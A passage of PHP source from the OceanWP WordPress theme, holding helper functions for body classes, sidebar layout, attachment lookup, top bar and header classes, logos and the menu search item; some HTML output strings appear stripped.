) { $classes[] = 'page-header-disabled'; } // Breadcrumbs. if ( oceanwp_has_breadcrumbs() ) { $classes[] = 'has-breadcrumbs'; } // If blog grid style. if ( 'grid-entry' == get_theme_mod( 'ocean_blog_style', 'large-entry' ) ) { $classes[] = 'has-blog-grid'; } // Fixed footer. if ( 'on' == get_theme_mod( 'ocean_fixed_footer', 'off' ) ) { $classes[] = 'has-fixed-footer'; } // Parallax footer. if ( 'on' == get_theme_mod( 'ocean_parallax_footer', 'off' ) ) { $classes[] = 'has-parallax-footer'; } // Pagination. $pagination_align = get_theme_mod( 'ocean_pagination_align', 'right' ); if ( 'right' != $pagination_align ) { $classes[] = 'pagination-' . $pagination_align; } // If WooCommerce is active. if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { // If grid/list buttons. if ( get_theme_mod( 'ocean_woo_grid_list', true ) ) { $classes[] = 'has-grid-list'; } // Tabs position. $woo_tabs = get_theme_mod( 'ocean_woo_product_meta_tabs_position', 'center' ); if ( oceanwp_is_woo_single() && 'center' != $woo_tabs ) { $classes[] = 'woo-' . $woo_tabs . '-tabs'; } // If shop conditional. if ( true === get_theme_mod( 'ocean_shop_conditional', false ) ) { $classes[] = 'has-woo-shop-conditional'; // If shop conditional message. if ( 'yes' === get_theme_mod( 'ocean_shop_cond_msg', 'yes' ) ) { // If My Account page linked to conditional message. if ( true === get_theme_mod( 'ocean_shop_add_myaccount_link', false ) ) { $classes[] = 'has-woo-shop-cond-msg-myaccount'; } else { $classes[] = 'has-woo-shop-cond-msg'; } } } // If has disabled image and product archive links. if ( true === get_theme_mod( 'ocean_shop_woo_disable_links', false ) ) { // If disable image and links conditional. if ( 'yes' === get_theme_mod( 'ocean_shop_woo_disable_links_cond', 'no' ) ) { $classes[] = 'has-woo-shop-links-disabled-cond'; } else { $classes[] = 'has-woo-shop-links-disabled-all'; } } // If has sinlge product conditional. if ( true === get_theme_mod( 'ocean_woo_single_conditional', false ) ) { $classes[] = 'has-woo-single-conditional'; // If single conditional message. if ( 'yes' === get_theme_mod( 'ocean_woo_single_cond_msg', 'yes' ) ) { // If My Account page linked to conditional message. if ( true === get_theme_mod( 'ocean_single_add_myaccount_link', false ) ) { $classes[] = 'has-woo-single-cond-msg-myaccount'; } else { $classes[] = 'has-woo-single-cond-msg'; } } } } /** * Performance Section */ if ( ! oceanwp_gallery_is_lightbox_enabled() && get_theme_mod( 'ocean_performance_lightbox', 'enabled' ) === 'disabled' ) { $classes[] = 'no-lightbox'; } // Return classes. return $classes; } add_filter( 'body_class', 'oceanwp_body_classes' ); } if ( get_theme_mod( 'ocean_performance_emoji', 'enabled' ) === 'disabled' ) { remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); call_user_func( 'remove_action', 'wp_print_styles', 'print_emoji_styles' ); call_user_func( 'remove_action', 'wp_head', 'print_emoji_detection_script', 7 ); call_user_func( 'remove_action', 'admin_print_scripts', 'print_emoji_detection_script' ); call_user_func( 'remove_action', 'admin_print_styles', 'print_emoji_styles' ); add_filter( 'tiny_mce_plugins', function ( $plugins ) { if ( is_array( $plugins ) ) { return array_diff( $plugins, array( 'wpemoji' ) ); } else { return array(); } } ); add_filter( 'wp_resource_hints', function ( $urls, $relation_type ) { if ( 'dns-prefetch' === $relation_type ) { $emoji_svg_url = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/2/svg/' ); $urls = array_diff( $urls, array( $emoji_svg_url ) ); } return $urls; }, 10, 2 ); } /** * Backward compatibility * * @since 1.8.3 */ if ( ! function_exists( 'wp_body_open' ) ) { /** * Shim for wp_body_open, ensuring backward compatibility with versions of WordPress older than 5.2. */ function wp_body_open() { do_action( 'wp_body_open' ); } } if ( ! function_exists( 'oceanwp_post_id' ) ) { /** * Store current post ID * * @since 1.0.0 */ function oceanwp_post_id() { // Default value. $id = ''; // If singular get_the_ID. if ( is_singular() ) { $id = get_the_ID(); } // Get ID of WooCommerce product archive. elseif ( OCEANWP_WOOCOMMERCE_ACTIVE && is_shop() ) { $shop_id = wc_get_page_id( 'shop' ); if ( isset( $shop_id ) ) { $id = $shop_id; } } // Posts page. elseif ( is_home() && $page_for_posts = get_option( 'page_for_posts' ) ) { $id = $page_for_posts; } // Apply filters. $id = apply_filters( 'ocean_post_id', $id ); // Sanitize. $id = $id ? $id : ''; // Return ID. return $id; } } /** * Get unique ID * * Based on the TwentyTwenty theme unique ID method: inc\template-tags.php * * @since 1.7.9 */ if ( ! function_exists( 'oceanwp_unique_id' ) ) { function oceanwp_unique_id( $prefix = '' ) { static $id_counter = 0; if ( function_exists( 'wp_unique_id' ) ) { return wp_unique_id( $prefix ); } return $prefix . (string) ++$id_counter; } } /** * Returns correct post layout * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_post_layout' ) ) { function oceanwp_post_layout() { // Define variables $class = 'right-sidebar'; $meta = get_post_meta( oceanwp_post_id(), 'ocean_post_layout', true ); // Check meta first to override and return (prevents filters from overriding meta) if ( $meta ) { return $meta; } // Singular Page if ( is_page() ) { // Landing template if ( is_page_template( 'templates/landing.php' ) ) { $class = 'full-width'; } // Attachment elseif ( is_attachment() ) { $class = 'full-width'; } // All other pages else { $class = get_theme_mod( 'ocean_page_single_layout', 'right-sidebar' ); } } // Home elseif ( is_home() || is_category() || is_tag() || is_date() || is_author() ) { $class = get_theme_mod( 'ocean_blog_archives_layout', 'right-sidebar' ); } // Singular Post elseif ( is_singular( 'post' ) ) { $class = get_theme_mod( 'ocean_blog_single_layout', 'right-sidebar' ); } // Library and Elementor template elseif ( is_singular( 'oceanwp_library' ) || is_singular( 'elementor_library' ) ) { $class = 'full-width'; } // Search elseif ( is_search() ) { $class = get_theme_mod( 'ocean_search_layout', 'right-sidebar' ); } // 404 page elseif ( is_404() ) { $class = get_theme_mod( 'ocean_error_page_layout', 'full-width' ); } // All else else { $class = 'right-sidebar'; } // Class should never be empty if ( empty( $class ) ) { $class = 'right-sidebar'; } // Apply filters and return return apply_filters( 'ocean_post_layout_class', $class ); } } /** * Returns correct both sidebars style layout * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_both_sidebars_style' ) ) { function oceanwp_both_sidebars_style() { // Meta $meta = get_post_meta( oceanwp_post_id(), 'ocean_both_sidebars_style', true ); // Check meta first to override and return (prevents filters from overriding meta) if ( $meta ) { return $meta; } // Singular Page if ( is_page() ) { $class = get_theme_mod( 'ocean_page_single_both_sidebars_style', 'scs-style' ); } // Home elseif ( is_home() || is_category() || is_tag() || is_date() || is_author() ) { $class = get_theme_mod( 'ocean_blog_archives_both_sidebars_style', 'scs-style' ); } // Singular Post elseif ( is_singular( 'post' ) ) { $class = get_theme_mod( 'ocean_blog_single_both_sidebars_style', 'scs-style' ); } // Search elseif ( is_search() ) { $class = get_theme_mod( 'ocean_search_both_sidebars_style', 'scs-style' ); } // All else else { $class = 'scs-style'; } // Class should never be empty if ( empty( $class ) ) { $class = 'scs-style'; } // Apply filters and return return apply_filters( 'ocean_both_sidebars_style', $class ); } } /** * Mobile sidebar order * * @since 1.6 */ if ( ! function_exists( 'oceanwp_sidebar_order' ) ) { function oceanwp_sidebar_order() { // Define variables $order = 'content-sidebar'; /* $meta = get_post_meta( oceanwp_post_id(), 'ocean_post_layout', true ); // Check meta first to override and return (prevents filters from overriding meta) if ( $meta ) { return $meta; }*/ // Singular Page if ( is_page() ) { $order = get_theme_mod( 'ocean_page_single_sidebar_order', 'content-sidebar' ); } // Home elseif ( is_home() || is_category() || is_tag() || is_date() || is_author() ) { $order = get_theme_mod( 'ocean_blog_archives_sidebar_order', 'content-sidebar' ); } // Singular Post elseif ( is_singular( 'post' ) ) { $order = get_theme_mod( 'ocean_single_post_sidebar_order', 'content-sidebar' ); } // Search elseif ( is_search() ) { $order = get_theme_mod( 'ocean_search_sidebar_order', 'content-sidebar' ); } // All else else { $order = 'content-sidebar'; } // The order should never be empty if ( empty( $order ) ) { $order = 'content-sidebar'; } // Apply filters and return return apply_filters( 'ocean_sidebar_order', $order ); } } /** * Get the sidebar * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_display_sidebar' ) ) { function oceanwp_display_sidebar() { // Retunr if full width or full screen if ( in_array( oceanwp_post_layout(), array( 'full-screen', 'full-width' ) ) ) { return; } // Add the second sidebar if ( 'both-sidebars' == oceanwp_post_layout() ) { get_sidebar( 'left' ); } // Add the default sidebar get_sidebar(); } } /** * Returns the sidebar * * @since 1.6 */ if ( ! function_exists( 'oceanwp_sidebar_action' ) ) { function oceanwp_sidebar_action() { if ( 'sidebar-content' == oceanwp_sidebar_order() && 'both-sidebars' != oceanwp_post_layout() ) { $action = 'ocean_before_primary'; } else { $action = 'ocean_after_primary'; } add_action( $action, 'oceanwp_display_sidebar' ); } add_action( 'wp', 'oceanwp_sidebar_action', 20 ); } /** * Returns the correct sidebar ID * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_get_sidebar' ) ) { function oceanwp_get_sidebar( $sidebar = 'sidebar' ) { // Search if ( is_search() && true == get_theme_mod( 'ocean_search_custom_sidebar', true ) ) { $sidebar = 'search_sidebar'; } // Add filter for tweaking the sidebar display via child theme's $sidebar = apply_filters( 'ocean_get_sidebar', $sidebar ); // Never show empty sidebar if ( ! is_active_sidebar( $sidebar ) ) { $sidebar = 'sidebar'; } // Return the correct sidebar return $sidebar; } } /** * Returns the correct second sidebar ID * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_get_second_sidebar' ) ) { function oceanwp_get_second_sidebar( $sidebar = 'sidebar-2' ) { // Add filter for tweaking the left sidebar display via child theme's $sidebar = apply_filters( 'ocean_get_second_sidebar', $sidebar ); // Never show empty sidebar if ( ! is_active_sidebar( $sidebar ) ) { $sidebar = 'sidebar-2'; } // Return the correct sidebar return $sidebar; } } /** * Returns the correct classname for any specific column grid * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_grid_class' ) ) { function oceanwp_grid_class( $col = '4' ) { return esc_attr( apply_filters( 'ocean_grid_class', 'span_1_of_' . $col ) ); } } /** * Removes the scheme of the passed URL to fit the current page. * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_correct_url_scheme' ) ) { function oceanwp_correct_url_scheme( $url ) { $url = str_replace( 'http://', '//', str_replace( 'https://', '//', $url ) ); return $url; } } /** * Gets the attachment ID from the url * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_get_attachment_id_from_url' ) ) { function oceanwp_get_attachment_id_from_url( $attachment_url = '' ) { global $wpdb; $attachment_id = false; if ( '' == $attachment_url || ! is_string( $attachment_url ) ) { return ''; } $upload_dir_paths = wp_upload_dir(); $upload_dir_paths_baseurl = $upload_dir_paths['baseurl']; if ( substr( $attachment_url, 0, 2 ) == '//' ) { $upload_dir_paths_baseurl = oceanwp_correct_url_scheme( $upload_dir_paths_baseurl ); } // Make sure the upload path base directory exists in the attachment URL, to verify that we're working with a media library image. if ( false !== strpos( $attachment_url, $upload_dir_paths_baseurl ) ) { // If this is the URL of an auto-generated thumbnail, get the URL of the original image. $attachment_url = preg_replace( '/-\d+x\d+(?=\.(jpg|jpeg|png|gif|tiff|svg)$)/i', '', $attachment_url ); // Remove the upload path base directory from the attachment URL. $attachment_url = str_replace( $upload_dir_paths_baseurl . '/', '', $attachment_url ); // Run a custom database query to get the attachment ID from the modified attachment URL. $attachment_id = $wpdb->get_var( $wpdb->prepare( "SELECT wposts.ID FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta WHERE wposts.ID = wpostmeta.post_id AND wpostmeta.meta_key = '_wp_attached_file' AND wpostmeta.meta_value = '%s' AND wposts.post_type = 'attachment'", $attachment_url ) ); $attachment_id = apply_filters( 'wpml_object_id', $attachment_id, 'attachment' ); } return $attachment_id; } } /** * Gets the most important attachment data from the url * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_get_attachment_data_from_url' ) ) { function oceanwp_get_attachment_data_from_url( $attachment_url = '' ) { if ( '' == $attachment_url ) { return false; } $attachment_data['url'] = preg_replace( '/-\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', '', $attachment_url ); $attachment_data['id'] = oceanwp_get_attachment_id_from_url( $attachment_data['url'] ); if ( ! $attachment_data['id'] ) { return false; } preg_match( '/\d+x\d+(?=\.(jpg|jpeg|png|gif)$)/i', $attachment_url, $matches ); if ( count( $matches ) > 0 ) { $dimensions = explode( 'x', $matches[0] ); $attachment_data['width'] = $dimensions[0]; $attachment_data['height'] = $dimensions[1]; } else { $attachment_src = wp_get_attachment_image_src( $attachment_data['id'], 'full' ); $attachment_data['width'] = $attachment_src[1]; $attachment_data['height'] = $attachment_src[2]; } $attachment_data['alt'] = get_post_field( '_wp_attachment_image_alt', $attachment_data['id'] ); $attachment_data['caption'] = get_post_field( 'post_excerpt', $attachment_data['id'] ); $attachment_data['title'] = get_post_field( 'post_title', $attachment_data['id'] ); return $attachment_data; } } /* -------------------------------------------------------------------------------*/ /* [ Top Bar ] /*-------------------------------------------------------------------------------*/ /** * Display top bar * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_display_topbar' ) ) { function oceanwp_display_topbar() { // Return true by default $return = true; // Return false if disabled via Customizer if ( true != get_theme_mod( 'ocean_top_bar', true ) ) { $return = false; } // Apply filters and return return apply_filters( 'ocean_display_top_bar', $return ); } } /** * Top bar template * I make a function to be able to remove it for the Beaver Themer plugin * * @since 1.2.5 */ if ( ! function_exists( 'oceanwp_top_bar_template' ) ) { function oceanwp_top_bar_template() { // Return if no top bar if ( ! oceanwp_display_topbar() ) { return; } get_template_part( 'partials/topbar/layout' ); } add_action( 'ocean_top_bar', 'oceanwp_top_bar_template' ); } /** * Add classes to the top bar wrap * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_topbar_classes' ) ) { function oceanwp_topbar_classes() { // Setup classes array $classes = array(); // Clearfix class $classes[] = 'clr'; // Visibility $visibility = get_theme_mod( 'ocean_top_bar_visibility', 'all-devices' ); if ( 'all-devices' != $visibility ) { $classes[] = $visibility; } // Set keys equal to vals $classes = array_combine( $classes, $classes ); // Apply filters for child theming $classes = apply_filters( 'ocean_topbar_classes', $classes ); // Turn classes into space seperated string $classes = implode( ' ', $classes ); // return classes return $classes; } } /** * Topbar style * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_top_bar_style' ) ) { function oceanwp_top_bar_style() { $style = get_theme_mod( 'ocean_top_bar_style' ); $style = $style ? $style : 'one'; return apply_filters( 'ocean_top_bar_style', $style ); } } /** * Topbar Content classes * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_topbar_content_classes' ) ) { function oceanwp_topbar_content_classes() { // Define classes $classes = array( 'clr' ); // Check for content if ( get_theme_mod( 'ocean_top_bar_content' ) ) { $classes[] = 'has-content'; } // Get topbar style $style = oceanwp_top_bar_style(); // Top bar style if ( 'one' == $style ) { $classes[] = 'top-bar-left'; } elseif ( 'two' == $style ) { $classes[] = 'top-bar-right'; } elseif ( 'three' == $style ) { $classes[] = 'top-bar-centered'; } // Apply filters for child theming $classes = apply_filters( 'ocean_top_bar_classes', $classes ); // Turn classes array into space seperated string $classes = implode( ' ', $classes ); // Return classes return esc_attr( $classes ); } } /* -------------------------------------------------------------------------------*/ /* [ Header ] /*-------------------------------------------------------------------------------*/ /** * Display header * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_display_header' ) ) { function oceanwp_display_header() { // Return true by default $return = true; // Apply filters and return return apply_filters( 'ocean_display_header', $return ); } } /** * Header template * I make a function to be able to remove it for the Beaver Themer plugin * * @since 1.2.5 */ if ( ! function_exists( 'oceanwp_header_template' ) ) { function oceanwp_header_template() { // Return if no header if ( ! oceanwp_display_header() ) { return; } get_template_part( 'partials/header/layout' ); } add_action( 'ocean_header', 'oceanwp_header_template' ); } /** * Header style * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_header_style' ) ) { function oceanwp_header_style() { // Get style from customizer setting $style = get_theme_mod( 'ocean_header_style', 'minimal' ); // Sanitize style to make sure it isn't empty $style = $style ? $style : 'minimal'; // Apply filters and return return apply_filters( 'ocean_header_style', $style ); } } /** * Custom header style template * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_custom_header_template' ) ) { function oceanwp_custom_header_template() { // Get template from customizer setting $template = get_theme_mod( 'ocean_header_template' ); // Apply filters and return return apply_filters( 'ocean_custom_header_template', $template ); } } /** * Add classes to the header wrap * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_header_classes' ) ) { function oceanwp_header_classes() { // Header style $header_style = oceanwp_header_style(); // Setup classes array $classes = array(); // If is not custom header created with Elementor Pro 2.0 if ( ! function_exists( 'elementor_location_exits' ) || ! elementor_location_exits( 'header', true ) ) { // Add header style class $classes[] = $header_style . '-header'; // Add transparent class for header styles if ( ( 'full_screen' == $header_style && true == get_theme_mod( 'ocean_full_screen_header_transparent', false ) ) || ( 'center' == $header_style && true == get_theme_mod( 'ocean_center_header_transparent', false ) ) || ( 'medium' == $header_style && true == get_theme_mod( 'ocean_medium_header_transparent', false ) ) || ( 'vertical' == $header_style && true == get_theme_mod( 'ocean_vertical_header_transparent', false ) ) ) { $classes[] = 'is-transparent'; } // Search overlay if ( 'overlay' == oceanwp_menu_search_style() ) { $classes[] = 'search-overlay'; } // Add class if social menu is enabled to remove the negative right on the navigation if ( true == get_theme_mod( 'ocean_menu_social', false ) ) { $classes[] = 'has-social'; } // Menu position if ( 'minimal' == $header_style || 'transparent' == $header_style ) { if ( 'left-menu' == get_theme_mod( 'ocean_menu_position', 'right-menu' ) ) { $classes[] = 'left-menu'; } elseif ( 'center-menu' == get_theme_mod( 'ocean_menu_position', 'right-menu' ) ) { $classes[] = 'center-menu'; } } // Medium header style menu hidden if ( 'medium' == $header_style && true == get_theme_mod( 'ocean_medium_header_hidden_menu', true ) && true != get_theme_mod( 'ocean_medium_header_stick_menu', false ) ) { // Add hidden menu class $classes[] = 'hidden-menu'; } // Vertical header style if ( 'vertical' == $header_style ) { // Header shadow if ( true == get_theme_mod( 'ocean_vertical_header_shadow', true ) ) { $classes[] = 'has-shadow'; } // Logo position $logo_position = get_theme_mod( 'ocean_vertical_header_logo_position', 'center-logo' ); $logo_position = $logo_position ? $logo_position : 'vh-center-logo'; $classes[] = 'vh-' . $logo_position; } // If the search header replace if ( 'header_replace' == oceanwp_menu_search_style() ) { $classes[] = 'header-replace'; } // If has header media if ( has_header_image() ) { $classes[] = 'has-header-media'; } // Mobile elements positionning if ( ( 'medium' != $header_style && 'vertical' != $header_style && 'top' != $header_style ) && 'one' != get_theme_mod( 'ocean_mobile_elements_positioning', 'one' ) ) { $classes[] = 'center-logo'; } } // If menu links effect $link_effect = get_theme_mod( 'ocean_menu_links_effect', 'no' ); if ( 'no' != $link_effect ) { $classes[] = 'effect-' . $link_effect; } // Clearfix class $classes[] = 'clr'; // Set keys equal to vals $classes = array_combine( $classes, $classes ); // Apply filters for child theming $classes = apply_filters( 'ocean_header_classes', $classes ); // Turn classes into space seperated string $classes = implode( ' ', $classes ); // return classes return $classes; } } /** * Add classes to the top header style wrap * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_top_header_classes' ) ) { function oceanwp_top_header_classes() { // Header style $header_style = oceanwp_header_style(); // Return if is not the top header style if ( 'top' != $header_style ) { return; } // Setup classes array $classes = array(); // Add classes $classes[] = 'header-top'; // Clearfix class $classes[] = 'clr'; // Set keys equal to vals $classes = array_combine( $classes, $classes ); // Apply filters for child theming $classes = apply_filters( 'ocean_top_header_classes', $classes ); // Turn classes into space seperated string $classes = implode( ' ', $classes ); // return classes return $classes; } } /** * Returns custom logo setting * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_header_logo_setting' ) ) { function oceanwp_header_logo_setting() { // Get setting $setting = get_theme_mod( 'custom_logo' ); // Return setting return apply_filters( 'ocean_custom_logo', $setting ); } } /** * Returns retina logo setting * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_header_retina_logo_setting' ) ) { function oceanwp_header_retina_logo_setting() { // Get setting $setting = get_theme_mod( 'ocean_retina_logo' ); // Return setting return apply_filters( 'ocean_retina_logo', $setting ); } } /** * Add srcset for retina header logo * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_header_retina_logo' ) ) { function oceanwp_header_retina_logo( $attr, $attachment, $size ) { $attr['srcset'] = ''; // Get logo $custom_logo = oceanwp_header_logo_setting(); if ( (int) $custom_logo === $attachment->ID ) { // Logo data $logo_data = array( 'url' => '', 'width' => '', 'height' => '', 'alt' => '', ); if ( ! is_customize_preview() ) { $logo_attachment_data = oceanwp_get_attachment_data_from_url( $logo_data['url'] ); if ( isset( $logo_attachment_data[0] ) ) { $attr['src'] = $logo_attachment_data[0]; } } // Get file type. $file_type = wp_check_filetype( $attr['src'] ); $file_ext = $file_type['ext']; if ( 'svg' === $file_ext ) { $attr['width'] = '100%'; $attr['height'] = '100%'; $logo_has_classes = isset( $attr['class'] ) ? $attr['class'] : ''; $attr['class'] = $logo_has_classes . ' oceanwp-logo-svg'; } // Get retina logo $retina_logo = oceanwp_header_retina_logo_setting(); if ( $retina_logo ) { $cutom_logo_src = wp_get_attachment_image_src( $custom_logo, 'full' ); $cutom_logo_url = $cutom_logo_src[0]; $attr['srcset'] = $cutom_logo_url . ' 1x, ' . $retina_logo . ' 2x'; } } // Return attr return $attr; } } /** * Returns full screen header logo * * @since 1.0.4 */ if ( ! function_exists( 'oceanwp_header_full_screen_logo' ) ) { function oceanwp_header_full_screen_logo() { // Return false if disabled if ( 'full_screen' != oceanwp_header_style() ) { return false; } $html = ''; // Get logo $logo_url = get_theme_mod( 'ocean_full_screen_header_logo' ); $retina_url = get_theme_mod( 'ocean_full_screen_header_retina_logo' ); $srcset = ''; // Logo data $logo_data = array( 'url' => '', 'width' => '', 'height' => '', 'alt' => '', ); if ( $logo_url ) { // Logo url $logo_data['url'] = $logo_url; // Logo data $logo_attachment_data = oceanwp_get_attachment_data_from_url( $logo_url ); // Get logo data if ( $logo_attachment_data ) { $logo_data['width'] = $logo_attachment_data['width']; $logo_data['height'] = $logo_attachment_data['height']; $logo_data['alt'] = $logo_attachment_data['alt']; } // Add srcset attr if ( $retina_url ) { $srcset = $logo_url . ' 1x, ' . $retina_url . ' 2x'; $srcset = 'srcset="' . $srcset . '"'; } // Output image $html = sprintf( '', esc_url( home_url( '/' ) ), esc_url( $logo_data['url'] ), esc_attr( $logo_data['width'] ), esc_attr( $logo_data['height'] ), esc_attr( $logo_data['alt'] ), $srcset ); } // Return logo return apply_filters( 'ocean_full_screen_header_logo', $html ); } } /** * Echo full_screen header logo * * @since 1.1.1 */ if ( ! function_exists( 'oceanwp_custom_full_screen_logo' ) ) { function oceanwp_custom_full_screen_logo() { echo oceanwp_header_full_screen_logo(); } } /** * Returns responsive header logo * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_header_responsive_logo' ) ) { function oceanwp_header_responsive_logo() { $html = ''; // Get logo $logo_url = get_theme_mod( 'ocean_responsive_logo' ); // Logo data $logo_data = array( 'url' => '', 'width' => '', 'height' => '', 'alt' => '', ); if ( $logo_url ) { // Logo url $logo_data['url'] = $logo_url; // Logo data $logo_attachment_data = oceanwp_get_attachment_data_from_url( $logo_url ); // Get logo data if ( $logo_attachment_data ) { $logo_data['width'] = $logo_attachment_data['width']; $logo_data['height'] = $logo_attachment_data['height']; $logo_data['alt'] = $logo_attachment_data['alt']; } // Output image $html = sprintf( '', esc_url( home_url( '/' ) ), esc_url( $logo_data['url'] ), esc_attr( $logo_data['width'] ), esc_attr( $logo_data['height'] ), esc_attr( $logo_data['alt'] ) ); } // Return logo return apply_filters( 'ocean_responsive_logo', $html ); } } /** * Echo responsive header logo * * @since 1.4.0 */ if ( ! function_exists( 'oceanwp_custom_responsive_logo' ) ) { function oceanwp_custom_responsive_logo() { echo wp_kses_post( oceanwp_header_responsive_logo() ); } } /** * Returns social sharing template part */ if ( ! function_exists( 'oceanwp_medium_header_elements' ) ) { function oceanwp_medium_header_elements() { // Default array $array = array( 'searchfrom', 'logo', 'social' ); // Get array from Customizer $array = get_theme_mod( 'ocean_medium_header_top_header_elements', $array ); // Turn into array if string if ( $array && ! is_array( $array ) ) { $array = explode( ',', $array ); } // Apply filters for easy modification $array = apply_filters( 'ocean_medium_header_elements_filter', $array ); // Return array return $array; } } /** * Display content after header * * @since 1.5.0 */ if ( ! function_exists( 'oceanwp_display_after_header_content' ) ) { function oceanwp_display_after_header_content() { // Header style $style = oceanwp_header_style(); // Return false by default $return = false; // Get after header content $content = get_theme_mod( 'ocean_after_header_content' ); $content = oceanwp_tm_translation( 'ocean_after_header_content', $content ); // Display header content if ( ( 'minimal' == $style || 'transparent' == $style ) && $content || ( 'minimal' == $style || 'transparent' == $style ) && is_customize_preview() ) { $return = true; ?>
                  post_content; } } // Apply filters and return content return apply_filters( 'oceanwp_nav_template_content', $content ); } } /** * Returns correct menu classes * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_header_menu_classes' ) ) { function oceanwp_header_menu_classes( $return ) { // Header style $header_style = oceanwp_header_style(); // Medium header style menu position $menu_position = get_theme_mod( 'ocean_medium_header_menu_position', 'center-menu' ); // Define classes array $classes = array(); // Return wrapper classes if ( 'wrapper' == $return ) { // Add special class if the dropdown top border option in the admin is disabled if ( true != get_theme_mod( 'ocean_menu_dropdown_top_border', true ) ) { $classes[] = 'no-top-border'; } // Add clearfix $classes[] = 'clr'; // If medium header style and menu position if ( 'medium' == $header_style && $menu_position ) { $classes[] = $menu_position; } // Set keys equal to vals $classes = array_combine( $classes, $classes ); // Apply filters $classes = apply_filters( 'ocean_header_menu_wrap_classes', $classes ); } // Inner Classes elseif ( 'inner' == $return ) { // Core $classes[] = 'navigation'; $classes[] = 'main-navigation'; $classes[] = 'clr'; // Set keys equal to vals $classes = array_combine( $classes, $classes ); // Apply filters $classes = apply_filters( 'ocean_header_menu_classes', $classes ); } // Return if ( is_array( $classes ) ) { return implode( ' ', $classes ); } else { return $return; } } } /** * Returns custom menu * * @since 1.1.2 */ if ( ! function_exists( 'oceanwp_header_custom_menu' ) ) { function oceanwp_header_custom_menu() { $menu = ''; return apply_filters( 'ocean_custom_menu', $menu ); } } /** * Header logo classes * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_header_logo_classes' ) ) { function oceanwp_header_logo_classes() { // Define classes array $classes = array( 'clr' ); // If responsive logo if ( '' != get_theme_mod( 'ocean_responsive_logo' ) ) { $classes[] = 'has-responsive-logo'; } // Get custom full screen logo if ( 'full_screen' == oceanwp_header_style() && oceanwp_header_full_screen_logo() ) { $classes[] = 'has-full-screen-logo'; } // Apply filters for child theming $classes = apply_filters( 'ocean_header_logo_classes', $classes ); // Turn classes into space seperated string $classes = implode( ' ', $classes ); // Return classes return $classes; } } /** * Returns menu search style * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_menu_search_style' ) ) { function oceanwp_menu_search_style() { // Get search style from Customizer $style = get_theme_mod( 'ocean_menu_search_style', 'drop_down' ); // Apply filters for advanced edits $style = apply_filters( 'ocean_menu_search_style', $style ); // Sanitize output so it's not empty and return $style = $style ? $style : 'drop_down'; // Return style return $style; } } /** * Returns mobile menu search style * * @since 3.0.0 */ if ( ! function_exists( 'oceanwp_mobile_menu_search_style' ) ) { function oceanwp_mobile_menu_search_style() { // Get search style from Customizer $style = get_theme_mod( 'ocean_mobile_menu_search_style', 'disabled' ); // Apply filters for advanced edits $style = apply_filters( 'oceanwp_mobile_menu_search_style', $style ); // Sanitize output so it's not empty and return $style = $style ? $style : 'disabled'; // Return style return $style; } } /** * Adds the search icon to the menu items * * @since 1.0.0 */ if ( ! function_exists( 'oceanwp_add_search_to_menu' ) ) { function oceanwp_add_search_to_menu( $items, $args ) { // Only used on main menu if ( 'main_menu' != $args->theme_location ) { return $items; } // Get search style $search_style = oceanwp_menu_search_style(); $header_style = oceanwp_header_style(); // Return if disabled if ( ! $search_style || 'disabled' == $search_style || 'top' == $header_style || 'vertical' == $header_style ) { return $items; } // Get correct search icon class if ( 'drop_down' == $search_style ) { $class = ' search-dropdown-toggle'; } elseif ( 'header_replace' == $search_style ) { $class = ' search-header-replace-toggle'; } elseif ( 'overlay' == $search_style ) { $class = ' search-overlay-toggle'; } else { $class = ''; } // Add search item to menu. $items .= '
                • '; if ( 'full_screen' == $header_style ) { $items .= '
                  '; $items .= ''; // If the headerSearchForm script is not disable if ( OCEAN_EXTRA_ACTIVE && class_exists( 'Ocean_Extra_Scripts_Panel' ) && Ocean_Extra_Scripts_Panel::get_setting( 'oe_headerSearchForm_script' ) ) { $items .= ''; } if ( ! function_exists( 'is_plugin_active' ) ) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; } if ( is_plugin_active( 'sitepress-multilingual-cms/sitepress.php' ) ) { $my_current_lang = apply_filters( 'wpml_current_language', null ); if ( ! empty( $my_current_lang ) ) { $items .= ''; } } $items .= '
                  '; } else { $items .= ''; $items .= oceanwp_icon( 'search', false ); $items .= ''; } $items .= '
